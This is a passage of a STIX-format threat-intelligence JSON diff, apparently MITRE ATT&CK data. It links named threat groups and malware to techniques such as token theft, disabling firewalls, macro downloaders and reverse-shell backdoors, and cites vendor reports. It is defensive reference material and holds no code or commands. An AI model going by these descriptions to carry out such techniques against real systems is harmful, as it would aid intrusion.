"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ccdb0aac-24b8-4e94-a3b6-b7e1c519a938", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.849Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "A [OilRig](https://attack.mitre.org/groups/G0049) macro has run a PowerShell command to decode file contents. [OilRig](https://attack.mitre.org/groups/G0049) has also used [certutil](https://attack.mitre.org/software/S0160) to decode base64-encoded files on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--67469b79-67e2-4932-9776-b09a82871723", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.669Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has signed [Carbanak](https://attack.mitre.org/software/S0030) payloads with legally purchased code signing certificates. [FIN7](https://attack.mitre.org/groups/G0046) has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--081c68ae-de26-4ab4-9108-5c7493f34f43", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has lured users to click links to malicious HTML applications delivered via spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f6cd8be3-3145-4088-ae9d-d006be865c01", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used the net view command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7b6eac00-8a13-42e3-b533-a40314eada68", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.884Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7aea964a-cd9b-471e-bc7b-2a270c974289", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.904Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) maintains access to victim environments by using [Valid Accounts](https://attack.mitre.org/techniques/T1078) to access [External Remote Services](https://attack.mitre.org/techniques/T1133) as well as establishing a backup RDP tunnel by using [FLIPSIDE](https://attack.mitre.org/software/S0173).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Duqu](https://attack.mitre.org/software/S0038) examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.108Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Duqu 2.0", + "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.", + "url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--403863dd-5b73-4987-9397-e8c5b25041cc", + "source_ref": "course-of-action--da8a87d2-946d-4c34-9a30-709058b98996", + "modified": "2019-07-24T19:42:17.752Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e94576ee-284c-4782-a6ef-b7dd8a780254", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.562Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has disabled host-based firewalls. The group has also globally opened port 3389.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e9560ef6-7ed4-45bd-be7c-525f6708308e", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.345Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is known to use RAR with passwords to encrypt data prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--bde913a9-9895-4414-b79a-3156159033aa", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.275Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--ab524992-5666-466b-8c12-ec79b269901b", + "source_ref": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6", + "modified": "2019-07-25T12:06:06.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims\u2019 machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--314a5160-17e0-44eb-9f4b-1a8e216b56a2", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Most of the strings in [ADVSTORESHELL](https://attack.mitre.org/software/S0045) are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) modified the Registry to perform multiple techniques through the use of [Reg](https://attack.mitre.org/software/S0075).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--49455f19-b4da-401f-8f61-93965f5a1850", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.041Z", + "id": "relationship--5cfcbf60-454a-4673-aa93-9020d04efab7", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.713Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9878ff64-0206-4a62-a5aa-3f909da87081", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) typically loads its DLL file into a legitimate signed Java or VMware executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--283e242a-72d4-4b40-8905-888595c34919", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with C2 servers over port 6667 (for IRC) and port 8080.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--b08e3c96-25a7-412f-bbfb-63e010ef3891", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.916Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) uses ZPP, a .NET console program, to compress files with ZIP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2e82ef21-9fb2-421e-bd96-73599089b448", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has been known to use credential dumping.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.035Z", + "id": "relationship--28b27852-4125-4639-a07b-0b97dfdb650a", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.227Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) used [Template Injection](https://attack.mitre.org/techniques/T1221) to launch an authentication window for users to enter their credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2db02b07-4dd3-4810-9103-1f8d7bd46a60", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Phishery Aug 2018", + "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has used macros in Word documents that would download a second stage if executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ba80112-ffca-4c7e-ae63-fcbe3b9e689d", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.726Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim computer name, OS version, and architecture type and sent the information to its C2 server. [Patchwork](https://attack.mitre.org/groups/G0040) also enumerated all available drives on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--e8068ad2-97b3-4693-a6ad-a8ee9a272890", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.580Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) uses a backdoor known as BADFLICK that is is capable of generating a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b427e519-8ec0-4ae3-9dda-273cc71f00eb", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.081Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used custom DNS Tunneling protocols for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 